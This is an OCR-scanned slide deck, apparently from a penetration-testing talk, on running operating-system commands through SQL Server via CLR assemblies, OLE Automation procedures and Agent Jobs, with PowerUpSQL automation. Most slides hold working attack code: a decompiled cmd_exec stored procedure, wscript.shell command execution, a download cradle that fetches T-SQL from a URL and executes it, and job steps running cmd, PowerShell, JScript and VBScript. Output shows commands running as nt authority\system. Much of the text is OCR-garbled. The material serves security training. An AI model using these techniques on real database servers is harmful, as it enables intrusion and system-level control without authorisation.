Ecmd_exec.versinn=E.E.E.E.cuhurememml.pul:ul... GH563 my_assemblby StoredProcedures omd_exec 797961919 cmd_exec PC M54

mytiled, version=U0.0.0.U, culture=neutral, publick... TWisEHgEp lalhimat rretHRuo R LY ] sp_mytiles FL UNSA

myfiled, version=0.0.0.0, cuture=neutral, publick... 65565 ORMCGmeoMg  FShreHBfuD oWAMjlsrD 861962147 sp_myfiled PC MSA

rmyfile 7 dll myfile 7, version=0.0.0.0, cuture=neutral, publick... 65566 wayAnJDMYa LkBGScWg EnWEGdvRaf 877962204 sp_mfile ¥ PC IMSA
myfile.dll myfile6, version=0.0.0.0, culture=neutral, publick...  &5567 ywMRF SHadkwD K 893562261 sp_myfile& PC LIMSA
myfile5.dll myfileh, version=0.0.0.0, cuture=neutral, publick... 65568 WvEQDaX KAniFs JGRf Ay 905962318 sp_myfileh PC IMSA
myfiled dll myfiled, version=0.0.0.0, culture=neutral, publick... 65565 JZMJoU tdwhyzH kioM Ty 9255962375 sp_myfiled PC LINSA
myfile3.dll myfiled, version=0.0.0.0, cuture=neutral, publick... 65570 [XlwpFas bO LaymiMry BriMvykng 941962432 sp_myfile3 PC UMSA

mmyfile 2 dll myfile2, version=0.0.0.0, cutture=neutral, publick...  &5571 BV RIChe FZMDFeGOd NDzMtO 957362425  sp_myfile?  PC LIMNSA

0 rmyfile1.dll myfile1, version=0.0.0.0, culture=neutral, publick...  &5572 YhSHLPi PSMyLRci CligZDKR 973562546 sp_myfilel PC LINSA
1 myfile 10.dll myfile 10, version=0.0.0.0, cutture=neutral, public... 65573 ciXw MDY clzGAdw |IHebfalz 985962603 sp_myfile 10 MSA

1 4

=l N W R =

— = w

@ Query executed successfully. MSSOLSEVNSOLSERVER2014 (1...  =a (33) | msdb | O0:00:00 11 rows
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CLR Assemblies - Automation - PowerUpSQL

S NETSPI

PowerUpSQL Function

Create Custom
.net DLL with Custom Attributes

Create-SQLFileCLRDLL

Execute OS Command via CLR Invoke-SQLOSCmdCLR
List Assembly Information Get-SQLStoredProcedureCLR
Get-SQLStoredProcedureCLR

Export Existing Assemblies -ExportFolder c:\temp




PS C:\temp> $Results = Get-SqQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -ExportFolder c:\temp
v LDHHECI"iOﬂ SUCCESS.
Searching for CLR stored procedures in master

VERKBUSE .
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :

MSSULSKVU4 \SULSEKVEKZULSG -
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRVO04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSQLSRV04\SQLSERVER2014 :
MSSOLSRVO4\SOLSERVER2014 :

File:myfile6.d11 Assembly:pjPEkzro Class:eFgnfR Method:ziQmtvxF Proc:sp_myfile
Creating export folder: c:\temp\CLREXports

Creating server folder: c:\temp\CLREXports\MSSQLSRV04_SQLSERVER2014

Creating database folder: c:\temp\CLREXports\MSSQLSRV04_SQLSERVER2014\master
Exporting myfile6.dl11

File:myfile5.d11 Assembly:YAJZRWjwb Class:YpxifjnDE Method:pvVIHWWXLC Proc:sp_I
Exporting myfile5.d11

File:myfile4.d11 Assembly:oYHtuPpAsi Class:dEfsaM Method:SCBHweGVRI Proc:sp_m
Exporting myfile4.dl1

File:myfile3.d11 Assembly:oFRhvgrwtU Class:hkkHwnQ Method:zQfNeUKvbw Proc:sp_I
Exporting myfile3.dl1

File:myfile2.dl1 Assembly:rubulPc Class:YxTAivB Method:wekgFfj Proc:sp_myfile:
Exporting myfilez2.dl1

File:myfilel.dl1 Assembly:zRcunukKz Class:NadyjGClIe Method:0goiHGWR Proc:sp_m
Exporting myfilel.dl11

File:myfilel0.d11 Assembly:gvCSuAaMuw Class:oFUGkHIfcI Method:MBTicRdaQG Proc
Exporting myfilel0.dl11

File:myfile9.d11 Assembly:j1FHb Class:qswuXeEA Method:QEilm Proc:sp_myfile9
Exporting myfile9.dl11

File:myfile8.d11 Assembly:tGopv Class:ezlwSr Method:mSskX Proc:sp_myfile8
Exporting myfile8.dl11

File:myfile7.d11 Assembly:J1ItjoQb Class:tkfxygPsH Method:MobKiQya Proc:sp_my:
Exporting myfile7.dl11

Searching for CLR stored procedures in tempdb
Searchina for CLR stored procedures in model

Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/



Share View

, « CLRExports » MSSOLSRVO4 SCOLSERVERZ014 » msdb

[ Favorites crmd_exec.dll
BT Desktop : Ailel.dll
4. Downloads 5 myfiled.dll
yfile3.dll
myfiled.dll
file5.dll
file7.dll

L
=l Recent places

o Libraries

-] Documents
.J‘:- Music 3 Ailed.dll
5 myfiled.dll

E Videos x| ryfile0.dll

k| Pictures

18 Computer
=

10 items

Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/



& dnSpy 3.0.2 (x64) - 0O
Fi

le Edit View Debug Window Help & o C# - p Stat O
P A mscorlib (4.0.0.0) 1 // storedProcedures
B A System (4.0.0.0) 2 /[ Token: ex@ceee881 RID: 1 RVA: @x0e00285@ File Offset:
b A System.Core (4.0.0.0) } @x00000250
b O System.Xml (4.0.0.0) 3 [5glProcedure]
b A System.Xaml (4.0.0.0) 4 public static woid cmd_exec( execCommand )
: ' P > 1
=i
E nj_“ WIHdDWS—EESE f0.0.0 ] Process process = new Process();
e process.StartInfo.FileName = "C:\\Windows\\System32\
P G PresentationFramework (4.0.0.00 \emd. exe”
P & dnlib (1.6.0.0) B process.StartInfo.Arguments = string.Format(™ /C {8}",
b O dnSpy (3.0.2.0) execCommand.Valus);
P O Microsoft.5qlServer. Types (12.0.0.0) g process.StartInfo.UseShellExecute = false;
4 O cmd_exec (0.0.0.0) 18 process.StartInfo.RedirectStandardOutput = true;
4 2 cmd_exec.dl 11 process.5Start();
22 PE 12 SqlDataRecord sgqlDataRecord = new SqlDataRecord(new
P =B References N SqlMetabDatal]
4y - {
b % <Module> @02000001 14 new SqlMetaData("output”, 5gqlDbType.WVarChar, 4866L)
15 ¥i
4 %3 StoredProcedures @02000002 16 sqlContext.Pipe.SendResultsStart(sqlDataRecord);
b Ml Base Type and Interfaces 17 sqlDataRecord.Set5tring(@, process.StandardOutput.ReadToEnd
b Bl Derived Types ().Tostring());
2 .ctor() : void @06000002 12 SqlContext.Pipe.SendResultsRow(sqlDataRecord);
@ cmd_exec(SqlString) : void @06000001 19 SqlContext.Pipe.SendResultsEnd();
b O System.Data (4.0.0.0) 2@ process.WaitForExit();
21 process.Close();
.
100 % -

Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE SENETSPI

Ole Automation Procedures - Overview
1. SQL Server native scripting that allows calls to COM objects
2. Affected Versions: SQL Server 2000 to 2017 (so far)
3. Requires sysadmin role by default
4

Can be executed by non-sysadmin with:

_ GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to [public] - a )
- GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to [public] " 4 =9
: We j
5. Executes as the SQL Server service account | S

74  Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
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Ole Automation Procedures - Instructions
1. Server level setting: “'Ole Automation Procedures” set to 1

2. Run your code ©

75  Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/



-- Enable Show Advanced Options
sp_configure 'Show Advanced Options',1
RECONFIGURE

GO

-- Enable OLE Automation Procedures
sp_configure 'Ole Automation Procedures’,1
RECONFIGURE

GO

-- Execute Command via OLE and store output in temp file

DECLARE @Shell INT

DECLARE @Shell2 INT

EXEC Sp_oacreate 'wscript.shell’, @Shell Output, 5

EXEC Sp_oamethod @shell, 'run’, null, ‘cmd.exe /c "echo Hello World > c:\temp\file.txt"

-- Read results

DECLARE @libref INT

DECLARE @filehandle INT

DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject’, @libref out

EXEC sp_oamethod @libref, 'opentextfile’, @filehandle out, 'c:\temp\file.txt', 1
EXEC sp_oamethod @filehandle, ‘readall’, @FileContents out

SELECT @FileContents
GO

-- Remove temp result file

DECLARE @Shell INT

EXEC Sp_oacreate ‘wscript.shell', @Shell Output, 5

EXEC Sp_oamethod @Shell, 'run', null, ‘cmd.exe /c "DEL c:\temp\file.txt"
GO

-- Disable Show Advanced Options
sp_configure 'Show Advanced Options'’,1
RECONFIGURE

GO

-- Disable OLE Automation Procedures
sp_configure 'Ole Automation Procedures',1
RECONFIGURE

GO




BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE SENETSPI

Ole Automation Procedures - Code - TSQL

-- Execute Command via OLE and store output in temp file

DECLARE @Shell INT

DECLARE @Shell2 INT

EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5

EXEC Sp:oamethod @shell, 'run', null, 'cmd.exe /c "echo Hello World > c:\temp\file.txt™

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT

DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile’, @filehandle out, 'c:\\temp\file.txt', 1
EXEC sp_oamethod @filehandle, 'readall’, @FileContents out

SELECT @FileContents
GO

77  Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/



BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE SENETSPI

Ole Automation Procedures - Code - TSQL

-- Execute Command via OLE and store output in temp file

DECLARE @Shell INT

DECLARE @Shell2 INT

EXEC Sp oacreate 'wscript.shell', @Shell Output, 5

EXEC Sp_oamethod @shell, 'run’', null, ‘cmd.exe /c "echo Hello World > c:\temp\file.txt™

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT

DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile’, @filehandle out, 'c:\\temp\file.txt', 1
EXEC sp_oamethod @filehandle, 'readall’, @FileContents out

SELECT @FileContents
GO

78  Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
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Ole Automation Procedures - Code - TSQL

-- Execute Command via OLE and store output in temp file

DECLARE @Shell INT

DECLARE @Shell2 INT

EXEC Sp_oacreate 'wscript.shell’, @Shell Output, 5

EXEC Sp_oamethod @shell, 'run’, null, ‘cmd.exe /c "echo Hello World > c:\temp\file.txt™

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT

DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject’, @libref out
EXEC sp_oamethod @libref, ‘opentextfile’, @filehandle out, ‘c:\temp\file.txt', 1
EXEC sp_oamethod @filehandle, 'readall’, @FileContents out

SELECT @FileContents
GO

79  Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
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Ole Automation Procedures - Automation - PowerUpSQL

PowerUpSQL Function

Execute OS Command via
OLE Automation Procedure Invoke-5QLOSCmdOle




Eile

Edit Miew T

PS C:\>

VERBOSE::
VERBOSE::
VERBOSE:
VERBOSE::
VERBOSE:
VERBOSE:
VERBOSE:
VERBOSE::
VERBOSE::

ComputerName

MSSQLSRV04

PS C:\>

Invoke-SQLoSCmdole -verbose
Creating runspace pool and
MSSQLSRV04\SQLSERVER2016 :
MSSQLSRV04\SQLSERVER2016
MSSQLSRV04\SQLSERVER2016
MSSQLSRV04\SQLSERVER2016
MSSQLSRV04\SQLSERVER2016
MSSQLSRVO04\SQLSERVER2016
MSSQLSRV04\SQLSERVER2016 :
Closing the runspace pool

Administrator: Windows PowerShell ISE

-command whoami -Instance MSSQLSRVO04\SQLSERVER2016 -Username
session states

connection Success.

You are a sysadmin.

Show Advanced oOptions is already enabled.

Ole Automation Procedures are already enabled.

Executing command: whoami

Reading command output from c:\windows\temp\wvpXC.txt
Removing file c:\windows\temp\wvpXC.txt

Instance commandResults

MSSQLSRV04\SQLSERVER2016 nt authority\system
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-- OLE Automation Procedure Download Cradle Example

-- Setup Variables

DECLARE @url varchar(300)
DECLARE @WinHTTP int

DECLARE @handle int

DECLARE @Command varchar(8000)

-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt’

-- Setup namespace
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

-- Call the Open method to setup the HTTP request
EXEC @handle=sp_OAMethod @WinHTTP, 'Open’,NULL,' GET',@url,false’

-- Call the Send method to send the HTTP GET request
EXEC @handle=sp_OAMethod @WinHTTP,'Send’

-- Capture the HTTP response content
EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText’, @Command out

-- Destroy the object
EXEC @handle=sp_OADestroy @WinHTTP

-- Display command
SELECT @Command

-- Run command
execute(@Command)

File  Edit View Query Project Debug
fe-o |- ot Rd | Qrevaey BBBE|XTA|2-C - [&|
{0 )| master - | ¥ Becute Debug = v 353 | 3737 W QA EEE|

Tools  Window Help

| E 5|4

http.sgl - M550LSRY... 14.master (sa (57)) *
-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt"’

-- Setup namespace
EXEC @handle=sp OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

-- Call the Open method to setup the HTTP request
EXEC @handle=sp OAMethod @WinHTTP, 'Open’,NULL, GET',@url,  'false’

-- Call the Send method to send the HTTP GET request
EXEC @handle=sp OAMethod @WinHTTP, 'Send’

-- Capture the HTTP response content

EXEC @handle=sp OAGetProperty @WinHTTP, '‘ResponseText', @Command out
-- Destroy the object

EXEC @handle=sp OADestroy @WinHTTP

-- Display command
SELECT @Command

-- Run command
execute(@Command)

196% ~ 4
T3 Results _Ij M

S NETSPI

L% http.sql - MSSQLSRVO4\SQLSERVER2014.master (sa (57)) - Microsoft SQL Server Management Studio (Admin... QuickLaunch

b |4

2 NULL

-

@ Query executed successfully. MSSCLSRVO4SQLSERVER2014 (1...

=a (57)  master  00:00:00 3 rows
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Agent Jobs
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Agent Jobs - Overview

1.
2.
3.

Native task scheduling engine
Affected Versions: All
Requires sysadmin role by default

Non sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole,
SQLAgentOperatorRole (require proxy account) a a

Executes as the SQL Server Agent service account unless a V@

a proxy account is configured /
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Agent Jobs - Overview - Most Common Job Types
1. TSQL

SQL Server Integrated Services (SS1S) Package

CMDEXEC

PowerShell

ActiveScripting (VBScript & JSCRIPT) r a

g N W N
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Agent Jobs - Instructions

1. Make sure the SQL Server Agent service is running! (xp_startservice)

2. Create Job
3. Create Job Step
4. Configure to self delete
5. Run Job |
N
¢ Note: For non sysadmins a proxy account must be configured. As a sysadmin: l] 7] Y »
¢ Create a credential | | ol &

¢ C(Create a proxy account that allows all the subsystem execution needed

¢ Grant use of proxy to security principals (logins and roles) VA
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Agent Jobs - Code - TSQL - CMDEXEC

use msdb
DECLARE @jobld BINARY(16)

EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC',
@enabled=1,

@notify_level eventlog=0,

@notify_level _email=0,

@notify_level _netsend=0,

@notify_level page=0,

@delete level=1,

@description=N'No description available.',
@category_name=N'[Uncategorized (Local)],
@owner_login_name=N'sa’, @job_id = @jobld OUTPUT

@command=N'c:\windows\system32\cmd.exe /c echo
hello > c:\windows\temp\blah.txt’,

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobld, @step_name=
@step_id=1,

@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,

@on_fail_action=2,

@on_fail_step_id=0,

@retry_attempts=0,

@retry_interval=0,

@os_run_priority=0, @subsystem=N'CmdExec',
@command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt',
@flags=0

\D - CMDEXEC,

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC';
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Agent Jobs - Code - TSQL - PowerShell

USE [msdb]
GO

DECLARE @jobld BINARY(16)
EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL',
@enabled=1,

@notify_level_eventlog=0,

@notify_level_email=0,

@notify_level_netsend=0,

@notify_level_page=0,

@delete_level=1,

@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa’, @job_id = @jobld OUTPUT

@command=N'write-output "hello world" | out-file
c:\windows\temp\blah.txt’

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobld, @step_name=N'RU
@step_id=1,

@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,

@on_fail_action=2,

@on_fail_step_id=0,

@retry_attempts=0,

@retry_interval=0,

@os_run_priority=0, @subsystem=N'PowerShell’,
@command=N'write-output "hello world" | out-file c:\windows\temp\blah.txt',
@database_name=N'master’,

@flags=0

ERHSHELL',

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL';
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Agent Jobs - Code - TSQL - JSCRIPT

use msdb
DECLARE @jobld BINARY(16)

@command=N'function RunCmd()
exec msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIjg

@enabled=1, {
@notify_level_eventlog=0,

@notify_level_email=0,

@notify_level_netsend=0,

@delte iovert var objShell = new ActiveXObject("shell.application™);

@description=N'No description available.',

@category_name=N'[Uncategorized (Local)]', ObJ S hel | . Shel | EXECUte ("C m d . eXE",
@owner_login_name=N'sa’, @job_id = @jobld OUTPUT o 5 0
’ c /c echo hello > c:\\Wwindows\\temp\\blah.txt",

exec msdb.dbo.sp_add_jobstep @job_id=@jobld, @step_name=N'RUN COMMAND - 4 -

@step_id=1,
@cmdexec_success_code=0, J
@on_success_action=1, "O en"
@on_success_step_id=0, p ’
@on_fail_action=2, .
@on_fail_step_id=0, O) y
@retry_attempts=0,

@retry_interval=0,

@os_run_priority=0, @subsystem=N'ActiveScripting’,

@command=N'function RunCmd()

{
var objShell = new ActiveXObject("shell.application"); R un C m d () )
: )

objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\bId

}

RunCmd();

@database_name=N'JavaScript',
@flags=0

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT';
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Agent Jobs - Code - TSQL - VBSCRIPT

use msdb

DECLARE @jobld BINARY(16)
EXECmsdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT',
@enabled=1,

@notify_level_eventlog=0,

@notify_level_email=0,

@notify_level_netsend=0,

@notify_level_page=0,

@delete_level=1,

@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa’', @job_id = @jobld OUTPUT

@command=N'FUNCTION Main()

dim shell

set shell= CreateObiject ("WScript.Shell")
shell.run("c:\windows\system32\cmd.exe /c echo hello
> c:\windows\temp\blah.txt")

set shell = nothing

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobld, @step_name=N'RUN COMMAND - Active,
@step_id=1,

@cmdexec_success_code=0,
@on_success_action=1,

@on_success_step_id=0,

@on_fail_action=2,

@on_fail_step_id=0,

@retry_attempts=0,

@retry_interval=0,

@os_run_priority=0, @subsystem=N'ActiveScripting',
@command=N'FUNCTION Main()

dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\D&
set shell = nothing

END FUNCTION',

END FUNCTION',
@database_name=N'VBScript',
@flags=0

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT';
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Agent Jobs - Code - TSQL - VBSCRIPT - Find your own com

OLE/COM Object Viewer

Ok OLE/COM Object Viewer

OleViewDotNet

S NETSPI

File iject View Hel “&\Typelnfo\ﬁewer

2|3 &l B | o 5

@, Windows M
i@, Windows M4
]--égz Windows Mg
7@, Windows Ms

EI"" IWshShell (Shell Object Interface]
=-[m] Methods

| SpecialFolders
Environment

1@, Windows Ms Run
@, Windows M4 Popup
]--é“ Windows Md CreateShortcut
2 ExpandEnvironmentStrings
-, Windows Mg RegRead
]--égz Windows Mq RegWrite
m RegDelete

7-@, Windows Ph P Inherited Interfaces
B

7@, Windows Ph
i@, Windows Ph
i@, Windows Ph
7@, Windows Pu
@, Windows RT
]--égz Windows 5¢c
- @, Windows Sc
- @, Windows Sc
E1-@, Windows S¢]

[
[
[
[
[
[
[
[
[
&3] égz Windows Pa
[
[
[
[
[
[
[
[
[

Ll WshShel

9 IWshShe
...... T IWshShe
]--é;z Windows 5¢,
7@, Windows Se
f-@ Windows SeqReady

[id(0x000003e6)]
int BEun(

[in]
[in.
[in,

BSTR Command,
optional] VARIANT#* WindowStyle,

optional] VARIANT#* WaitOnReturn);

O OleviewDotNet 64bit

File Registry Object

Security Help

Registry Properties l/lnterface; by Name l/ IShellDispatch Properties l/ PSOAlnterface Properties )/SOaTE@bO-T()ef-11d1-b75a-00_

]--@ Windows Search [tems Changed Sink
]--é Windows Search Manager

]--@ Windows Search Manager Event Sink
@, Windows Search OpenSearch Icon Handler
]--égz Windows Search OpenSearch Provider
]--@ Windows Search Platform

e O O o O O O e O O e O e

Interfaces  Enums

void SetTime();
wvoid TrayProperties():;

Name

Folderttem
Folderltem?2
Folderttems
Folderttems2
Folderttems3
FolderttemVerb
FoldertemVerbs
IFileSearchBand
IFolderViewOC
INew\WDEvents
|1Shel Dispatch
|ShelDispatch2
|ShelDispatch3
|ShelDispatch4
15helDispatchs
|ShellDispatchb
1ShelFolderViewDual
|1ShelFolderViewDual2
1ShelFolderViewDual3
IShellLink Dual
1ShellLinkDual2
IWebWizardHost
IWebWizardHost2
Shell
ShellDispatchinproc
ShellFolderttem
ShellFolderView
ShellFolderViewOC
ShelllinkObject

1D

FAC32C80-CBE4-11CE-8350-444553540000
EDC817AA-32B8-1101-B075-00CO4FC33AAD
T44125E0-CBES-11CE-8350-444553540000
C34FDADO-F363-1102-A327-00C04FBEECTF
EAATC3I09-BBEC-4505-821D-64D566CE66TF
(08EC3E00-50B0-11CF-960C-0080C7F4EESS
1F8352C0-50B80-11CF-960C-0080C7F4EERS
2D51EEAT-9932-11D2-BEB6-00A0CIABIDAT
9BADSS70-FEAS-11CF-A442-00A0CS0ASF35
0751C551-7568-41C5-8E5B-E22E38515236
DBF015C0-L278-11CE-A43E-444553540000
A4CHBI2C-3BAS-11D2-3DEA-DOCO4FE 16162
177160CA-BB5A-411C-8410-BD38FACDEAAD
EFD84B2D-4BCF-42538-BE25-EB542A55FBDA
866738B9-6CF2-4DES-8767-F7T94EBETAF4E
286E6F1B-7113-4355-9562-96BVEID64CH4
E7A1AFB0-4096-11CF-360C-0080C7F4EESS
3C147B6-0ADE-4A3C-B514-DDFS32EFED17
29ECBEGC-46D3-411F-BAAA-GT1AGCICACEE
88AD05C00-FO00-11CE-8350-444553540000
ITEE245-F12E-1102-B1E4-D0CO4FSEER3E
18BCC359-4350-4BFB-B951-3C83702BE5FS
FSC0130C-3C23-4041-BE35-CFB402F FEASS
286E6F1B-7113-4355-9562-96BVESDG4CH4
TIETFACC-4DAT-3581-A241-1E7201530E5C
EDCB17AA-52B8-11D1-B075-00CO4FC33AA
29ECBEGC-46D3-411F-BAAA-GT1AGCICACEE
9BADSIT0-FEAS-11CF-A442-00A0CI0ASF39
ITEE245-F12E-1102-B1E4-D0CO4FSEER3E

void Help():

void FindFiles ()

void FindComputer():;

wvoid RefreshMenn () :

void ControlPanelltem (string bstrDir);

void FindPrinter([Optional] str
obiect GetSystemInformation(=t
object ServiceStart(string ServiceName,
g ServiceName,

object ServiceStop(str
object IsServiceRunning(strin

object ShowBrowserBar (string bstrClsid,

void WindowsSecurity();
wvoid ToggleDesktop():
object ExplorerPolicy (=t
bool GetSetting(int 1S5etting):
void WindowSwitcher ()

void SearchCommandi|) ;

/* Properties */

object Application { get;
object Parent { get;

Name,
Name) ;

int I=Restricted(=string Group, string Restriction):
mal] object vArgs,
[Cptional] string loc

[Optio

object Persistent):
object Persistent);

ServiceName) ;
object CanStartStopService(string ServiceName):;

object bShow) ;

ing bstrPolicyName) ;

void AddToRecent (cbject wvarFile, [Cptional] =string bstrCategor

saipadold 3oelqn e

https://github.com/tyranid/oleviewdotnet
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Agent Jobs - Code - TSQL - List Jobs

SELECT job.job_id as [JOB_ID],

job.name as [JOB_NAME],

job.description as [JOB_DESCRIPTION],
steps.step_name,

steps.subsystem,

steps.command,

SUSER_SNAME (job.owner_sid) as [JOB_OWNER],
steps.proxy_id,

proxies.name as [proxy_account],
job.enabled,

steps.server,

job.date_created,

steps.last_run_date

FROM [msdb].[dbo].[sysjobs] job

INNER JOIN [msdb].[dbo].[sysjobsteps] steps
ON job.job_id = steps.job_id

left join [msdb].[dbo].[sysproxies] proxies
ON steps.proxy_id = proxies.proxy_id
ORDER BY JOB_NAME, step_name




4. SQLQuery3.sql - MSSQLSRVO4\SQLSERVER2014.master (sa (51))* - Microsoft SQL Server Management Studio (Administrator) ~ Quick Launch £ - O x
File  Edit Niew Query Project Debug Toeols Window  Help
(-0 | B oW ANewauey IBBH| XITD[D?-C & E: SR =L
i L|]_LJ_§|rr1aster vl?Execute Debug «gﬁyé|g“g“%|@@@|z "_§|:§§_|ﬁ=’ﬁ;
S0LCuery3.sql - M5, 14.master (sa (31))* & X 0
~SELECT [job.name as [JOB_NAME], +
job.description as [JOB DESCRIPTION], =
steps.step name,
steps.subsystem,
steps.command,
SUSER SNAME(job.owner sid) as [JOB _OWNER],
steps.proxy id,
proxies.name as [proxy_account],
job.enabled,
steps.server,
job.date created,
] Results _'_i1 Meszages
JOB_MNAME JOB_DESCRIPTION gtep_name subsystem command
1 05 COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT Mo descrption available. RUMN COMMAND - ActiveX: JSCRIPT ActiveScripting | function RunCmd{ { wvar objShell
2 05 COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT Mo description available. RUN COMMAMD - ActiveX: VBSCRIPT  ActiveScrpting | FUNCTION Main{) dim shell set
3 05 COMMAND EXECUTION EXAMPLE - CMDEXEC Mo descrption available. RUMN COMMAND - CMDEXEC CmdExec ¢ windowsagystem 32%cmd .exe S
4 05 COMMAND EXECUTION EXAMPLE - POWERSHELL Mo description available. RUN COMMAMND - POWERHSHELL PowerShell write-output "hello wordd™ | outfile
i) gyspolicy_purge_history Mo descrption available. Erase Phantom System Health Records.  PowerShell if (SESCAPE_SQUOTE(INST)Y
& gyspolicy_purge_history Mo descrption available.  Purge histony. T5QL EXEC madb.dbo sp_syspolicy _pu
Fi gyspolicy_purge _history Mo description available.  Verfy that automation is enabled. T5QL IF {m=db.dbo fn_syspolicy _is_auto

i OS5 COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT

i Mo descrption available.

05 COMMAND EXECUTION EXAMPLE - Activex: VBSCRIPT
(05 COMMAND EXECUTION EXAMPLE - CMDEXEC
05 COMMAND EXECUTION EXAMPLE - POWERSHELL

avannlicy nume histone

Mo description available.
Mo description available.
Mo description available.

N descrintinn availahle

RUMN COMMAND - ActivelX: JSCRIPT

RUM COMMAND - Activex: VBSCRIFT

RUMN COMMAND - CMDEXEC

RUM COMMAND - POWERHSHELL

Frase Phantom Swstem Health Rerards

ActiveScripting
ActiveScripting
CmdBExec
PowerShell
ProwerShell

function RunCmd{) { var objShell = new ActiveXObject ..
FUNCTION Maini) dim shell set shell= CreateObject (...
c'windows'system 32cmd exe fc echo hello > ¢wind...
write-output "hello wordd” | outfile o windows tempibla...
if "MFSCAPF SQLUIOTRINSTI en "MSS01 SFRVFRY

-

4

[
)
3
4
R
1

]

Cuery executed successfully,

MSSCLSRVOPSOLSERVER2014 (1.,

sa (51) | master 000000 | 7 rows
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Agent Jobs - Automation - PowerUpSQL
¢ Get-SQLAgentJob

¢ Get list of agents jobs and their code

VERBOSE: SQL Server Agent Job Search
Complete.

VERBOSE: --------sccocmmmmcmmcccccccanae
VERBOSE: Agent Job Summary
VERBOSE: -------ssceecmmmmmmcccccccnanee
VERBOSE: 470 jobs found

VERBOSE: 7 affected systems
VERBOSE: 7 affected SQL Server instances
VERBOSE: 33 proxy credentials used
VERBOSE: -------sscsecmmmmcmmnccccccnas
VERBOSE: Agent Job Summary by SubSystem
VERBOSE:; -------sscsecmmmmemmccccecenaes
VERBOSE: 461 SSIS Jobs

VERBOSE: 4 Snapshot Jobs

VERBOSE: 2 Distribution Jobs

VERBOSE: 1 QueueReader Jobs

